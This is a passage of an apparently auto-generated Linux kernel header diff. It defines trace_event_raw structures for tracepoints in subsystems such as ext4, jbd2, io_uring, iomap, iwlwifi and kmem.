__data[0]; +}; + +struct trace_event_raw_ext4_fc_cleanup { + struct trace_entry ent; + dev_t dev; + int j_fc_off; + int full; + tid_t tid; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_commit_start { + struct trace_entry ent; + dev_t dev; + tid_t tid; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_commit_stop { + struct trace_entry ent; + dev_t dev; + int nblks; + int reason; + int num_fc; + int num_fc_ineligible; + int nblks_agg; + tid_t tid; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_replay { + struct trace_entry ent; + dev_t dev; + int tag; + int ino; + int priv1; + int priv2; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_replay_scan { + struct trace_entry ent; + dev_t dev; + int error; + int off; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_stats { + struct trace_entry ent; + dev_t dev; + unsigned int fc_ineligible_rc[10]; + unsigned long fc_commits; + unsigned long fc_ineligible_commits; + unsigned long fc_numblks; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_track_dentry { + struct trace_entry ent; + dev_t dev; + tid_t t_tid; + ino_t i_ino; + tid_t i_sync_tid; + int error; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_track_inode { + struct trace_entry ent; + dev_t dev; + tid_t t_tid; + ino_t i_ino; + tid_t i_sync_tid; + int error; + char __data[0]; +}; + +struct trace_event_raw_ext4_fc_track_range { + struct trace_entry ent; + dev_t dev; + tid_t t_tid; + ino_t i_ino; + tid_t i_sync_tid; + long start; + long end; + int error; + char __data[0]; +}; + +struct trace_event_raw_ext4_forget { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + int is_metadata; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_free_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + unsigned long count; + int flags; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_free_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + uid_t uid; + gid_t gid; + __u64 blocks; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_fsmap_class { + struct trace_entry ent; + dev_t dev; + dev_t keydev; + u32 agno; + u64 bno; + u64 len; + u64 owner; + char __data[0]; +}; + +struct trace_event_raw_ext4_get_implied_cluster_alloc_exit { + struct trace_entry ent; + dev_t dev; + unsigned int flags; + ext4_lblk_t lblk; + ext4_fsblk_t pblk; + unsigned int len; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_getfsmap_class { + struct trace_entry ent; + dev_t dev; + dev_t keydev; + u64 block; + u64 len; + u64 owner; + u64 flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_insert_range { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t offset; + loff_t len; + char __data[0]; +}; + +struct trace_event_raw_ext4_invalidate_folio_op { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned long index; + size_t offset; + size_t length; + char __data[0]; +}; + +struct trace_event_raw_ext4_journal_start_inode { + struct trace_entry ent; + unsigned long ino; + dev_t dev; + unsigned long ip; + int blocks; + int rsv_blocks; + int revoke_creds; + int type; + char __data[0]; +}; + +struct trace_event_raw_ext4_journal_start_reserved { + struct trace_entry ent; + dev_t dev; + unsigned long ip; + int blocks; + char __data[0]; +}; + +struct trace_event_raw_ext4_journal_start_sb { + struct trace_entry ent; + dev_t dev; + unsigned long ip; + int blocks; + int rsv_blocks; + int revoke_creds; + int type; + char __data[0]; +}; + +struct trace_event_raw_ext4_lazy_itable_init { + struct trace_entry ent; + dev_t dev; + __u32 group; + char __data[0]; +}; + +struct trace_event_raw_ext4_load_inode { + struct trace_entry ent; + dev_t dev; + ino_t ino; + char __data[0]; +}; + +struct trace_event_raw_ext4_mark_inode_dirty { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned long ip; + char __data[0]; +}; + +struct trace_event_raw_ext4_mb_discard_preallocations { + struct trace_entry ent; + dev_t dev; + int needed; + char __data[0]; +}; + +struct trace_event_raw_ext4_mb_release_group_pa { + struct trace_entry ent; + dev_t dev; + __u64 pa_pstart; + __u32 pa_len; + char __data[0]; +}; + +struct trace_event_raw_ext4_mb_release_inode_pa { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u64 block; + __u32 count; + char __data[0]; +}; + +struct trace_event_raw_ext4_mballoc_alloc { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u32 orig_logical; + int orig_start; + __u32 orig_group; + int orig_len; + __u32 goal_logical; + int goal_start; + __u32 goal_group; + int goal_len; + __u32 result_logical; + int result_start; + __u32 result_group; + int result_len; + __u16 found; + __u16 groups; + __u16 buddy; + __u16 flags; + __u16 tail; + __u8 cr; + char __data[0]; +}; + +struct trace_event_raw_ext4_mballoc_prealloc { + struct trace_entry ent; + dev_t dev; + ino_t ino; + __u32 orig_logical; + int orig_start; + __u32 orig_group; + int orig_len; + __u32 result_logical; + int result_start; + __u32 result_group; + int result_len; + char __data[0]; +}; + +struct trace_event_raw_ext4_nfs_commit_metadata { + struct trace_entry ent; + dev_t dev; + ino_t ino; + char __data[0]; +}; + +struct trace_event_raw_ext4_other_inode_update_time { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t orig_ino; + uid_t uid; + gid_t gid; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_prefetch_bitmaps { + struct trace_entry ent; + dev_t dev; + __u32 group; + __u32 next; + __u32 ios; + char __data[0]; +}; + +struct trace_event_raw_ext4_read_block_bitmap_load { + struct trace_entry ent; + dev_t dev; + __u32 group; + bool prefetch; + char __data[0]; +}; + +struct trace_event_raw_ext4_remove_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ext4_lblk_t from; + ext4_lblk_t to; + ext4_fsblk_t ee_pblk; + ext4_lblk_t ee_lblk; + unsigned short ee_len; + ext4_fsblk_t pc_pclu; + ext4_lblk_t pc_lblk; + int pc_state; + char __data[0]; +}; + +struct trace_event_raw_ext4_request_blocks { + struct trace_entry ent; + dev_t dev; + ino_t ino; + unsigned int len; + __u32 logical; + __u32 lleft; + __u32 lright; + __u64 goal; + __u64 pleft; + __u64 pright; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_request_inode { + struct trace_entry ent; + dev_t dev; + ino_t dir; + __u16 mode; + char __data[0]; +}; + +struct trace_event_raw_ext4_shutdown { + struct trace_entry ent; + dev_t dev; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_sync_file_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t parent; + int datasync; + char __data[0]; +}; + +struct trace_event_raw_ext4_sync_file_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_sync_fs { + struct trace_entry ent; + dev_t dev; + int wait; + char __data[0]; +}; + +struct trace_event_raw_ext4_unlink_enter { + struct trace_entry ent; + dev_t dev; + ino_t ino; + ino_t parent; + loff_t size; + char __data[0]; +}; + +struct trace_event_raw_ext4_unlink_exit { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int ret; + char __data[0]; +}; + +struct trace_event_raw_ext4_update_sb { + struct trace_entry ent; + dev_t dev; + ext4_fsblk_t fsblk; + unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_ext4_writepages { + struct trace_entry ent; + dev_t dev; + ino_t ino; + long nr_to_write; + long pages_skipped; + loff_t range_start; + loff_t range_end; + unsigned long writeback_index; + int sync_mode; + char for_kupdate; + char range_cyclic; + char __data[0]; +}; + +struct trace_event_raw_ext4_writepages_result { + struct trace_entry ent; + dev_t dev; + ino_t ino; + int ret; + int pages_written; + long pages_skipped; + unsigned long writeback_index; + int sync_mode; + char __data[0]; +}; + +struct trace_event_raw_fdb_delete { + struct trace_entry ent; + u32 __data_loc_br_dev; + u32 __data_loc_dev; + unsigned char addr[6]; + u16 vid; + char __data[0]; +}; + +struct trace_event_raw_fib6_table_lookup { + struct trace_entry ent; + u32 tb_id; + int err; + int oif; + int iif; + __u8 tos; + __u8 scope; + __u8 flags; + __u8 src[16]; + __u8 dst[16]; + u16 sport; + u16 dport; + u8 proto; + u8 rt_type; + char name[16]; + __u8 gw[16]; + char __data[0]; +}; + +struct trace_event_raw_fib_table_lookup { + struct trace_entry ent; + u32 tb_id; + int err; + int oif; + int iif; + u8 proto; + __u8 tos; + __u8 scope; + __u8 flags; + __u8 src[4]; + __u8 dst[4]; + __u8 gw4[4]; + __u8 gw6[16]; + u16 sport; + u16 dport; + char name[16]; + char __data[0]; +}; + +struct trace_event_raw_file_check_and_advance_wb_err { + struct trace_entry ent; + struct file *file; + unsigned long i_ino; + dev_t s_dev; + errseq_t old; + errseq_t new; + char __data[0]; +}; + +struct trace_event_raw_filelock_lease { + struct trace_entry ent; + struct file_lease *fl; + unsigned long i_ino; + dev_t s_dev; + struct file_lock_core *blocker; + fl_owner_t owner; + unsigned int flags; + unsigned char type; + unsigned long break_time; + unsigned long downgrade_time; + char __data[0]; +}; + +struct trace_event_raw_filelock_lock { + struct trace_entry ent; + struct file_lock *fl; + unsigned long i_ino; + dev_t s_dev; + struct file_lock_core *blocker; + fl_owner_t owner; + unsigned int pid; + unsigned int flags; + unsigned char type; + loff_t fl_start; + loff_t fl_end; + int ret; + char __data[0]; +}; + +struct trace_event_raw_filemap_set_wb_err { + struct trace_entry ent; + unsigned long i_ino; + dev_t s_dev; + errseq_t errseq; + char __data[0]; +}; + +struct trace_event_raw_find_free_extent { + struct trace_entry ent; + u8 fsid[16]; + u64 root_objectid; + u64 num_bytes; + u64 empty_size; + u64 flags; + char __data[0]; +}; + +struct trace_event_raw_find_free_extent_have_block_group { + struct trace_entry ent; + u8 fsid[16]; + u64 root_objectid; + u64 num_bytes; + u64 empty_size; + u64 flags; + u64 loop; + bool hinted; + u64 bg_start; + u64 bg_flags; + char __data[0]; +}; + +struct trace_event_raw_find_free_extent_search_loop { + struct trace_entry ent; + u8 fsid[16]; + u64 root_objectid; + u64 num_bytes; + u64 empty_size; + u64 flags; + u64 loop; + char __data[0]; +}; + +struct trace_event_raw_finish_task_reaping { + struct trace_entry ent; + int pid; + char __data[0]; +}; + +struct trace_event_raw_flush_foreign { + struct trace_entry ent; + char name[32]; + ino_t cgroup_ino; + unsigned int frn_bdi_id; + unsigned int frn_memcg_id; + char __data[0]; +}; + +struct trace_event_raw_free_extent_state { + struct trace_entry ent; + const struct extent_state *state; + const void *ip; + char __data[0]; +}; + +struct trace_event_raw_free_vmap_area_noflush { + struct trace_entry ent; + unsigned long va_start; + unsigned long nr_lazy; + unsigned long nr_lazy_max; + char __data[0]; +}; + +struct trace_event_raw_generic_add_lease { + struct trace_entry ent; + unsigned long i_ino; + int wcount; + int rcount; + int icount; + dev_t s_dev; + fl_owner_t owner; + unsigned int flags; + unsigned char type; + char __data[0]; +}; + +struct trace_event_raw_global_dirty_state { + struct trace_entry ent; + unsigned long nr_dirty; + unsigned long nr_writeback; + unsigned long background_thresh; + unsigned long dirty_thresh; + unsigned long dirty_limit; + unsigned long nr_dirtied; + unsigned long nr_written; + char __data[0]; +}; + +struct trace_event_raw_guest_halt_poll_ns { + struct trace_entry ent; + bool grow; + unsigned int new; + unsigned int old; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_class { + struct trace_entry ent; + void *hrtimer; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_expire_entry { + struct trace_entry ent; + void *hrtimer; + s64 now; + void *function; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_init { + struct trace_entry ent; + void *hrtimer; + clockid_t clockid; + enum hrtimer_mode mode; + char __data[0]; +}; + +struct trace_event_raw_hrtimer_start { + struct trace_entry ent; + void *hrtimer; + void *function; + s64 expires; + s64 softexpires; + enum hrtimer_mode mode; + char __data[0]; +}; + +struct trace_event_raw_hugepage_set { + struct trace_entry ent; + unsigned long addr; + unsigned long pte; + char __data[0]; +}; + +struct trace_event_raw_hugepage_update { + struct trace_entry ent; + unsigned long addr; + unsigned long pte; + unsigned long clr; + unsigned long set; + char __data[0]; +}; + +struct trace_event_raw_hwmon_attr_class { + struct trace_entry ent; + int index; + u32 __data_loc_attr_name; + long val; + char __data[0]; +}; + +struct trace_event_raw_hwmon_attr_show_string { + struct trace_entry ent; + int index; + u32 __data_loc_attr_name; + u32 __data_loc_label; + char __data[0]; +}; + +struct trace_event_raw_i2c_read { + struct trace_entry ent; + int adapter_nr; + __u16 msg_nr; + __u16 addr; + __u16 flags; + __u16 len; + char __data[0]; +}; + +struct trace_event_raw_i2c_reply { + struct trace_entry ent; + int adapter_nr; + __u16 msg_nr; + __u16 addr; + __u16 flags; + __u16 len; + u32 __data_loc_buf; + char __data[0]; +}; + +struct trace_event_raw_i2c_result { + struct trace_entry ent; + int adapter_nr; + __u16 nr_msgs; + __s16 ret; + char __data[0]; +}; + +struct trace_event_raw_i2c_write { + struct trace_entry ent; + int adapter_nr; + __u16 msg_nr; + __u16 addr; + __u16 flags; + __u16 len; + u32 __data_loc_buf; + char __data[0]; +}; + +struct trace_event_raw_icmp_send { + struct trace_entry ent; + const void *skbaddr; + int type; + int code; + __u8 saddr[4]; + __u8 daddr[4]; + __u16 sport; + __u16 dport; + unsigned short ulen; + char __data[0]; +}; + +struct trace_event_raw_inet_sk_error_report { + struct trace_entry ent; + int error; + __u16 sport; + __u16 dport; + __u16 family; + __u16 protocol; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_inet_sock_set_state { + struct trace_entry ent; + const void *skaddr; + int oldstate; + int newstate; + __u16 sport; + __u16 dport; + __u16 family; + __u16 protocol; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +typedef int (*initcall_t)(void); + +struct trace_event_raw_initcall_finish { + struct trace_entry ent; + initcall_t func; + int ret; + char __data[0]; +}; + +struct trace_event_raw_initcall_level { + struct trace_entry ent; + u32 __data_loc_level; + char __data[0]; +}; + +struct trace_event_raw_initcall_start { + struct trace_entry ent; + initcall_t func; + char __data[0]; +}; + +struct trace_event_raw_inode_foreign_history { + struct trace_entry ent; + char name[32]; + ino_t ino; + ino_t cgroup_ino; + unsigned int history; + char __data[0]; +}; + +struct trace_event_raw_inode_switch_wbs { + struct trace_entry ent; + char name[32]; + ino_t ino; + ino_t old_cgroup_ino; + ino_t new_cgroup_ino; + char __data[0]; +}; + +struct trace_event_raw_io_uring_complete { + struct trace_entry ent; + void *ctx; + void *req; + u64 user_data; + int res; + unsigned int cflags; + u64 extra1; + u64 extra2; + char __data[0]; +}; + +struct trace_event_raw_io_uring_cqe_overflow { + struct trace_entry ent; + void *ctx; + unsigned long long user_data; + s32 res; + u32 cflags; + void *ocqe; + char __data[0]; +}; + +struct trace_event_raw_io_uring_cqring_wait { + struct trace_entry ent; + void *ctx; + int min_events; + char __data[0]; +}; + +struct trace_event_raw_io_uring_create { + struct trace_entry ent; + int fd; + void *ctx; + u32 sq_entries; + u32 cq_entries; + u32 flags; + char __data[0]; +}; + +struct trace_event_raw_io_uring_defer { + struct trace_entry ent; + void *ctx; + void *req; + unsigned long long data; + u8 opcode; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_fail_link { + struct trace_entry ent; + void *ctx; + void *req; + unsigned long long user_data; + u8 opcode; + void *link; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_file_get { + struct trace_entry ent; + void *ctx; + void *req; + u64 user_data; + int fd; + char __data[0]; +}; + +struct trace_event_raw_io_uring_link { + struct trace_entry ent; + void *ctx; + void *req; + void *target_req; + char __data[0]; +}; + +struct trace_event_raw_io_uring_local_work_run { + struct trace_entry ent; + void *ctx; + int count; + unsigned int loops; + char __data[0]; +}; + +struct trace_event_raw_io_uring_poll_arm { + struct trace_entry ent; + void *ctx; + void *req; + unsigned long long user_data; + u8 opcode; + int mask; + int events; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_queue_async_work { + struct trace_entry ent; + void *ctx; + void *req; + u64 user_data; + u8 opcode; + unsigned long long flags; + struct io_wq_work *work; + int rw; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_register { + struct trace_entry ent; + void *ctx; + unsigned int opcode; + unsigned int nr_files; + unsigned int nr_bufs; + long ret; + char __data[0]; +}; + +struct trace_event_raw_io_uring_req_failed { + struct trace_entry ent; + void *ctx; + void *req; + unsigned long long user_data; + u8 opcode; + u8 flags; + u8 ioprio; + u64 off; + u64 addr; + u32 len; + u32 op_flags; + u16 buf_index; + u16 personality; + u32 file_index; + u64 pad1; + u64 addr3; + int error; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_short_write { + struct trace_entry ent; + void *ctx; + u64 fpos; + u64 wanted; + u64 got; + char __data[0]; +}; + +struct trace_event_raw_io_uring_submit_req { + struct trace_entry ent; + void *ctx; + void *req; + unsigned long long user_data; + u8 opcode; + unsigned long long flags; + bool sq_thread; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_task_add { + struct trace_entry ent; + void *ctx; + void *req; + unsigned long long user_data; + u8 opcode; + int mask; + u32 __data_loc_op_str; + char __data[0]; +}; + +struct trace_event_raw_io_uring_task_work_run { + struct trace_entry ent; + void *tctx; + unsigned int count; + char __data[0]; +}; + +struct trace_event_raw_iocg_inuse_update { + struct trace_entry ent; + u32 __data_loc_devname; + u32 __data_loc_cgroup; + u64 now; + u32 old_inuse; + u32 new_inuse; + u64 old_hweight_inuse; + u64 new_hweight_inuse; + char __data[0]; +}; + +struct trace_event_raw_iocost_ioc_vrate_adj { + struct trace_entry ent; + u32 __data_loc_devname; + u64 old_vrate; + u64 new_vrate; + int busy_level; + u32 read_missed_ppm; + u32 write_missed_ppm; + u32 rq_wait_pct; + int nr_lagging; + int nr_shortages; + char __data[0]; +}; + +struct trace_event_raw_iocost_iocg_forgive_debt { + struct trace_entry ent; + u32 __data_loc_devname; + u32 __data_loc_cgroup; + u64 now; + u64 vnow; + u32 usage_pct; + u64 old_debt; + u64 new_debt; + u64 old_delay; + u64 new_delay; + char __data[0]; +}; + +struct trace_event_raw_iocost_iocg_state { + struct trace_entry ent; + u32 __data_loc_devname; + u32 __data_loc_cgroup; + u64 now; + u64 vnow; + u64 vrate; + u64 last_period; + u64 cur_period; + u64 vtime; + u32 weight; + u32 inuse; + u64 hweight_active; + u64 hweight_inuse; + char __data[0]; +}; + +struct trace_event_raw_iomap_class { + struct trace_entry ent; + dev_t dev; + u64 ino; + u64 addr; + loff_t offset; + u64 length; + u16 type; + u16 flags; + dev_t bdev; + char __data[0]; +}; + +struct trace_event_raw_iomap_dio_complete { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t isize; + loff_t pos; + int ki_flags; + bool aio; + int error; + ssize_t ret; + char __data[0]; +}; + +struct trace_event_raw_iomap_dio_rw_begin { + struct trace_entry ent; + dev_t dev; + ino_t ino; + loff_t isize; + loff_t pos; + size_t count; + size_t done_before; + int ki_flags; + unsigned int dio_flags; + bool aio; + char __data[0]; +}; + +struct trace_event_raw_iomap_iter { + struct trace_entry ent; + dev_t dev; + u64 ino; + loff_t pos; + u64 length; + s64 processed; + unsigned int flags; + const void *ops; + unsigned long caller; + char __data[0]; +}; + +struct trace_event_raw_iomap_range_class { + struct trace_entry ent; + dev_t dev; + u64 ino; + loff_t size; + loff_t offset; + u64 length; + char __data[0]; +}; + +struct trace_event_raw_iomap_readpage_class { + struct trace_entry ent; + dev_t dev; + u64 ino; + int nr_pages; + char __data[0]; +}; + +struct trace_event_raw_iomap_writepage_map { + struct trace_entry ent; + dev_t dev; + u64 ino; + u64 pos; + u64 dirty_len; + u64 addr; + loff_t offset; + u64 length; + u16 type; + u16 flags; + dev_t bdev; + char __data[0]; +}; + +struct trace_event_raw_ipi_handler { + struct trace_entry ent; + const char *reason; + char __data[0]; +}; + +struct trace_event_raw_ipi_raise { + struct trace_entry ent; + u32 __data_loc_target_cpus; + const char *reason; + char __data[0]; +}; + +struct trace_event_raw_ipi_send_cpu { + struct trace_entry ent; + unsigned int cpu; + void *callsite; + void *callback; + char __data[0]; +}; + +struct trace_event_raw_ipi_send_cpumask { + struct trace_entry ent; + u32 __data_loc_cpumask; + void *callsite; + void *callback; + char __data[0]; +}; + +struct trace_event_raw_irq_handler_entry { + struct trace_entry ent; + int irq; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_irq_handler_exit { + struct trace_entry ent; + int irq; + int ret; + char __data[0]; +}; + +struct trace_event_raw_irq_matrix_cpu { + struct trace_entry ent; + int bit; + unsigned int cpu; + bool online; + unsigned int available; + unsigned int allocated; + unsigned int managed; + unsigned int online_maps; + unsigned int global_available; + unsigned int global_reserved; + unsigned int total_allocated; + char __data[0]; +}; + +struct trace_event_raw_irq_matrix_global { + struct trace_entry ent; + unsigned int online_maps; + unsigned int global_available; + unsigned int global_reserved; + unsigned int total_allocated; + char __data[0]; +}; + +struct trace_event_raw_irq_matrix_global_update { + struct trace_entry ent; + int bit; + unsigned int online_maps; + unsigned int global_available; + unsigned int global_reserved; + unsigned int total_allocated; + char __data[0]; +}; + +struct trace_event_raw_itimer_expire { + struct trace_entry ent; + int which; + pid_t pid; + unsigned long long now; + char __data[0]; +}; + +struct trace_event_raw_itimer_state { + struct trace_entry ent; + int which; + unsigned long long expires; + long value_sec; + long value_nsec; + long interval_sec; + long interval_nsec; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dbg { + struct trace_entry ent; + u32 level; + u32 __data_loc_function; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_hcmd { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_hcmd; + u32 flags; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_ict_read { + struct trace_entry ent; + u32 __data_loc_dev; + u32 index; + u32 value; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_ioread32 { + struct trace_entry ent; + u32 __data_loc_dev; + u32 offs; + u32 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_ioread_prph32 { + struct trace_entry ent; + u32 __data_loc_dev; + u32 offs; + u32 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_iowrite32 { + struct trace_entry ent; + u32 __data_loc_dev; + u32 offs; + u32 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_iowrite64 { + struct trace_entry ent; + u32 __data_loc_dev; + u64 offs; + u64 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_iowrite8 { + struct trace_entry ent; + u32 __data_loc_dev; + u32 offs; + u8 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_iowrite_prph32 { + struct trace_entry ent; + u32 __data_loc_dev; + u32 offs; + u32 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_iowrite_prph64 { + struct trace_entry ent; + u32 __data_loc_dev; + u64 offs; + u64 val; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_irq { + struct trace_entry ent; + u32 __data_loc_dev; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_irq_msix { + struct trace_entry ent; + u32 __data_loc_dev; + u32 entry; + u8 defirq; + u32 inta_fh; + u32 inta_hw; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_rx { + struct trace_entry ent; + u32 __data_loc_dev; + u16 cmd; + u8 hdr_offset; + u32 __data_loc_rxbuf; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_rx_data { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_data; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_tx { + struct trace_entry ent; + u32 __data_loc_dev; + void *skbaddr; + size_t framelen; + u32 __data_loc_tfd; + u32 __data_loc_buf0; + u32 __data_loc_buf1; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_tx_tb { + struct trace_entry ent; + u32 __data_loc_dev; + u64 phys; + u32 __data_loc_data; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_ucode_cont_event { + struct trace_entry ent; + u32 __data_loc_dev; + u32 time; + u32 data; + u32 ev; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_ucode_event { + struct trace_entry ent; + u32 __data_loc_dev; + u32 time; + u32 data; + u32 ev; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_dev_ucode_wrap_event { + struct trace_entry ent; + u32 __data_loc_dev; + u32 wraps; + u32 n_entry; + u32 p_entry; + char __data[0]; +}; + +struct trace_event_raw_iwlwifi_msg_event { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_raw_jbd2_checkpoint { + struct trace_entry ent; + dev_t dev; + int result; + char __data[0]; +}; + +struct trace_event_raw_jbd2_checkpoint_stats { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned long chp_time; + __u32 forced_to_close; + __u32 written; + __u32 dropped; + char __data[0]; +}; + +struct trace_event_raw_jbd2_commit { + struct trace_entry ent; + dev_t dev; + char sync_commit; + tid_t transaction; + char __data[0]; +}; + +struct trace_event_raw_jbd2_end_commit { + struct trace_entry ent; + dev_t dev; + char sync_commit; + tid_t transaction; + tid_t head; + char __data[0]; +}; + +struct trace_event_raw_jbd2_handle_extend { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned int type; + unsigned int line_no; + int buffer_credits; + int requested_blocks; + char __data[0]; +}; + +struct trace_event_raw_jbd2_handle_start_class { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned int type; + unsigned int line_no; + int requested_blocks; + char __data[0]; +}; + +struct trace_event_raw_jbd2_handle_stats { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned int type; + unsigned int line_no; + int interval; + int sync; + int requested_blocks; + int dirtied_blocks; + char __data[0]; +}; + +struct trace_event_raw_jbd2_journal_shrink { + struct trace_entry ent; + dev_t dev; + unsigned long nr_to_scan; + unsigned long count; + char __data[0]; +}; + +struct trace_event_raw_jbd2_lock_buffer_stall { + struct trace_entry ent; + dev_t dev; + unsigned long stall_ms; + char __data[0]; +}; + +struct trace_event_raw_jbd2_run_stats { + struct trace_entry ent; + dev_t dev; + tid_t tid; + unsigned long wait; + unsigned long request_delay; + unsigned long running; + unsigned long locked; + unsigned long flushing; + unsigned long logging; + __u32 handle_count; + __u32 blocks; + __u32 blocks_logged; + char __data[0]; +}; + +struct trace_event_raw_jbd2_shrink_checkpoint_list { + struct trace_entry ent; + dev_t dev; + tid_t first_tid; + tid_t tid; + tid_t last_tid; + unsigned long nr_freed; + tid_t next_tid; + char __data[0]; +}; + +struct trace_event_raw_jbd2_shrink_scan_exit { + struct trace_entry ent; + dev_t dev; + unsigned long nr_to_scan; + unsigned long nr_shrunk; + unsigned long count; + char __data[0]; +}; + +struct trace_event_raw_jbd2_submit_inode_data { + struct trace_entry ent; + dev_t dev; + ino_t ino; + char __data[0]; +}; + +struct trace_event_raw_jbd2_update_log_tail { + struct trace_entry ent; + dev_t dev; + tid_t tail_sequence; + tid_t first_tid; + unsigned long block_nr; + unsigned long freed; + char __data[0]; +}; + +struct trace_event_raw_jbd2_write_superblock { + struct trace_entry ent; + dev_t dev; + blk_opf_t write_flags; + char __data[0]; +}; + +struct trace_event_raw_kcompactd_wake_template { + struct trace_entry ent; + int nid; + int order; + enum zone_type highest_zoneidx; + char __data[0]; +}; + +struct trace_event_raw_key_handle { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 mac_addr[6]; + int link_id; + u8 key_index; + bool pairwise; + char __data[0]; +}; + +struct trace_event_raw_kfree { + struct trace_entry ent; + unsigned long call_site; + const void *ptr; + char __data[0]; +}; + +struct trace_event_raw_kfree_skb { + struct trace_entry ent; + void *skbaddr; + void *location; + void *rx_sk; + unsigned short protocol; + enum skb_drop_reason reason; + char __data[0]; +}; + +struct trace_event_raw_kmalloc { + struct trace_entry ent; + unsigned long call_site; + const void *ptr; + size_t bytes_req; + size_t bytes_alloc; + unsigned long gfp_flags; + int node; + char __data[0]; +}; + +struct trace_event_raw_kmem_cache_alloc { + struct trace_entry ent; + unsigned long call_site; + const void *ptr; + size_t bytes_req; + size_t bytes_alloc; + unsigned long gfp_flags; + int node; + bool accounted; + char __data[0]; +}; + +struct trace_event_raw_kmem_cache_free { + struct trace_entry ent; + unsigned long call_site; + const void *ptr; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_kyber_adjust { + struct trace_entry ent; + dev_t dev; + char domain[16]; + unsigned int depth; + char __data[0]; +}; + +struct trace_event_raw_kyber_latency { + struct trace_entry ent; + dev_t dev; + char domain[16]; + char type[8]; + u8 percentile; + u8 numerator; + u8 denominator; + unsigned int samples; + char __data[0]; +}; + +struct trace_event_raw_kyber_throttled { + struct trace_entry ent; + dev_t dev; + char domain[16]; + char __data[0]; +}; + +struct trace_event_raw_leases_conflict { + struct trace_entry ent; + void *lease; + void *breaker; + unsigned int l_fl_flags; + unsigned int b_fl_flags; + unsigned char l_fl_type; + unsigned char b_fl_type; + bool conflict; + char __data[0]; +}; + +struct trace_event_raw_link_station_add_mod { + struct trace_entry ent; + char wiphy_name[32]; + char name[16]; + int ifindex; + u8 mld_mac[6]; + u8 link_mac[6]; + u32 link_id; + u32 __data_loc_supported_rates; + u8 ht_capa[26]; + u8 vht_capa[12]; + u8 opmode_notif; + bool opmode_notif_used; + u32 __data_loc_he_capa; + u8 he_6ghz_capa[2]; + u32 __data_loc_eht_capa; + char __data[0]; +}; + +struct trace_event_raw_local_chanctx { 